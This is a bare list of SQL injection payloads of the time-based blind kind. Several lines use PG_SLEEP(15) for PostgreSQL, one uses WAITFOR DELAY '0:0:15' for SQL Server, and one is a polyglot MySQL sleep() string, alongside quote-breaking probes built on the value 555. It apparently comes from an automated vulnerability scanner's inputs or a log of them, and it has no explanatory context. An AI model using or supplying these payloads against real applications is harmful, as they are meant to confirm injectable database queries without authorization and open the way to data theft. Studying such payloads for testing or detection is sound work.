555-1)) OR 559=(SELECT 559 FROM PG_SLEEP(15))--

555-1) OR 77=(SELECT 77 FROM PG_SLEEP(15))--

555-1 OR 137=(SELECT 137 FROM PG_SLEEP(15))--

555p21anmmk′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/